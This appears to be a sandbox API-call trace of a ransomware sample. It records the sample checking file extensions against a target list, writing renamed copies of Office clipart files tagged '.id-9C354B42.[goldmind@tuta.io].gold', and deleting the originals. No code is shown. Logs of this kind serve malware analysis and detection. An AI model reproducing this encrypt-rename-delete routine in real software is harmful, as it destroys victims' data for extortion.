[0101.384] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x65f0, lpOverlapped=0x0) returned 1 [0101.385] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.385] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.385] SetEndOfFile (hFile=0x38c) returned 1 [0101.385] CloseHandle (hObject=0x38c) returned 1 [0101.386] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.386] SetEndOfFile (hFile=0x3c0) returned 1 [0101.388] CloseHandle (hObject=0x3c0) returned 1 [0101.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0101.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.551] lstrlenW (lpString=".doc") returned 4 [0101.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.551] lstrlenW (lpString=".docx") returned 5 [0101.551] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0101.551] lstrlenW (lpString=".pdf") returned 4 [0101.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.551] lstrlenW (lpString=".xls") returned 4 [0101.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.551] lstrlenW (lpString=".xlsx") returned 5 [0101.551] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0101.551] lstrlenW (lpString=".ppt") returned 4 [0101.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.551] lstrlenW (lpString=".zip") returned 4 [0101.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.551] lstrlenW (lpString=".rar") returned 4 [0101.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.551] lstrlenW (lpString=".bz2") returned 4 [0101.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.551] lstrlenW (lpString=".7z") returned 3 [0101.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.551] lstrlenW (lpString=".dbf") returned 4 [0101.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.551] lstrlenW (lpString=".1cd") returned 4 [0101.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.552] lstrlenW (lpString=".jpg") returned 4 [0101.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.552] lstrlenW (lpString=".doc") returned 4 [0101.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString=".docx") returned 5 [0101.552] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0101.552] lstrlenW (lpString=".pdf") returned 4 [0101.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString=".xls") returned 4 [0101.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.552] lstrlenW (lpString=".xlsx") returned 5 [0101.552] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0101.552] lstrlenW (lpString=".ppt") returned 4 [0101.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.552] lstrlenW (lpString=".zip") returned 4 [0101.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.552] lstrlenW (lpString=".rar") returned 4 [0101.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString=".bz2") returned 4 [0101.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString=".7z") returned 3 [0101.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.552] lstrlenW (lpString=".dbf") returned 4 [0101.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.552] lstrlenW (lpString=".1cd") returned 4 [0101.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0101.552] lstrlenW (lpString=".jpg") returned 4 [0101.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.552] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.552] lstrlenW (lpString="J0099154.JPG") returned 12 [0101.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.567] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6929) returned 1 [0101.567] CloseHandle (hObject=0x3c0) returned 1 [0101.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0101.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.794] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.794] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.795] GetLastError () returned 0x0 [0101.795] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1b11, lpOverlapped=0x0) returned 1 [0101.814] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0101.815] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.815] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.815] SetEndOfFile (hFile=0x3c8) returned 1 [0101.815] CloseHandle (hObject=0x3c8) returned 1 [0101.815] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.815] SetEndOfFile (hFile=0x198) returned 1 [0101.817] CloseHandle (hObject=0x198) returned 1 [0101.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0101.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.818] lstrlenW (lpString=".doc") returned 4 [0101.818] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.818] lstrlenW (lpString=".docx") returned 5 [0101.818] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0101.818] lstrlenW (lpString=".pdf") returned 4 [0101.818] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.818] lstrlenW (lpString=".xls") returned 4 [0101.818] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.818] lstrlenW (lpString=".xlsx") returned 5 [0101.818] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0101.818] lstrlenW (lpString=".ppt") returned 4 [0101.818] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.818] lstrlenW (lpString=".zip") returned 4 [0101.818] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.818] lstrlenW (lpString=".rar") returned 4 [0101.818] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.818] lstrlenW (lpString=".bz2") returned 4 [0101.818] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.818] lstrlenW (lpString=".7z") returned 3 [0101.818] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.818] lstrlenW (lpString=".dbf") returned 4 [0101.818] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.818] lstrlenW (lpString=".1cd") returned 4 [0101.818] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.819] lstrlenW (lpString=".jpg") returned 4 [0101.819] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.819] lstrlenW (lpString=".doc") returned 4 [0101.819] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.819] lstrlenW (lpString=".docx") returned 5 [0101.819] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0101.819] lstrlenW (lpString=".pdf") returned 4 [0101.819] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.819] lstrlenW (lpString=".xls") returned 4 [0101.819] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.819] lstrlenW (lpString=".xlsx") returned 5 [0101.819] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0101.819] lstrlenW (lpString=".ppt") returned 4 [0101.819] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.819] lstrlenW (lpString=".zip") returned 4 [0101.819] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.819] lstrlenW (lpString=".rar") returned 4 [0101.819] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.819] lstrlenW (lpString=".bz2") returned 4 [0101.819] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.819] lstrlenW (lpString=".7z") returned 3 [0101.819] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.819] lstrlenW (lpString=".dbf") returned 4 [0101.819] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.819] lstrlenW (lpString=".1cd") returned 4 [0101.819] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0101.819] lstrlenW (lpString=".jpg") returned 4 [0101.819] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.819] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.819] lstrlenW (lpString="J0099165.JPG") returned 12 [0101.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.821] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=50490) returned 1 [0101.821] CloseHandle (hObject=0x198) returned 1 [0101.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20 [0101.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.821] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.821] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.822] GetLastError () returned 0x0 [0101.822] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xc53a, lpOverlapped=0x0) returned 1 [0101.824] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xc540, lpOverlapped=0x0) returned 1 [0101.825] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.825] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.825] SetEndOfFile (hFile=0x3c8) returned 1 [0101.825] CloseHandle (hObject=0x3c8) returned 1 [0101.825] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.825] SetEndOfFile (hFile=0x198) returned 1 [0101.827] CloseHandle (hObject=0x198) returned 1 [0101.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0101.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.828] lstrlenW (lpString=".doc") returned 4 [0101.828] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.828] lstrlenW (lpString=".docx") returned 5 [0101.828] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0101.828] lstrlenW (lpString=".pdf") returned 4 [0101.828] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.828] lstrlenW (lpString=".xls") returned 4 [0101.828] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.828] lstrlenW (lpString=".xlsx") returned 5 [0101.828] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0101.828] lstrlenW (lpString=".ppt") returned 4 [0101.829] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".zip") returned 4 [0101.829] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.829] lstrlenW (lpString=".rar") returned 4 [0101.829] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.829] lstrlenW (lpString=".bz2") returned 4 [0101.829] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.829] lstrlenW (lpString=".7z") returned 3 [0101.829] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".dbf") returned 4 [0101.829] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".1cd") returned 4 [0101.829] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".jpg") returned 4 [0101.829] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".doc") returned 4 [0101.829] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.829] lstrlenW (lpString=".docx") returned 5 [0101.829] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0101.829] lstrlenW (lpString=".pdf") returned 4 [0101.829] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.829] lstrlenW (lpString=".xls") returned 4 [0101.829] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.829] lstrlenW (lpString=".xlsx") returned 5 [0101.829] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0101.829] lstrlenW (lpString=".ppt") returned 4 [0101.829] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".zip") returned 4 [0101.829] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.829] lstrlenW (lpString=".rar") returned 4 [0101.829] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.829] lstrlenW (lpString=".bz2") returned 4 [0101.829] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.829] lstrlenW (lpString=".7z") returned 3 [0101.829] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".dbf") returned 4 [0101.829] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".1cd") returned 4 [0101.829] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0101.829] lstrlenW (lpString=".jpg") returned 4 [0101.829] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.830] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.830] lstrlenW (lpString="J0099166.JPG") returned 12 [0101.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.831] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=64767) returned 1 [0101.831] CloseHandle (hObject=0x198) returned 1 [0101.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 0x20 [0101.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.831] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.831] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.832] GetLastError () returned 0x0 [0101.832] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xfcff, lpOverlapped=0x0) returned 1 [0101.834] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xfd00, lpOverlapped=0x0) returned 1 [0101.836] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.836] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.836] SetEndOfFile (hFile=0x3c8) returned 1 [0101.836] CloseHandle (hObject=0x3c8) returned 1 [0101.836] 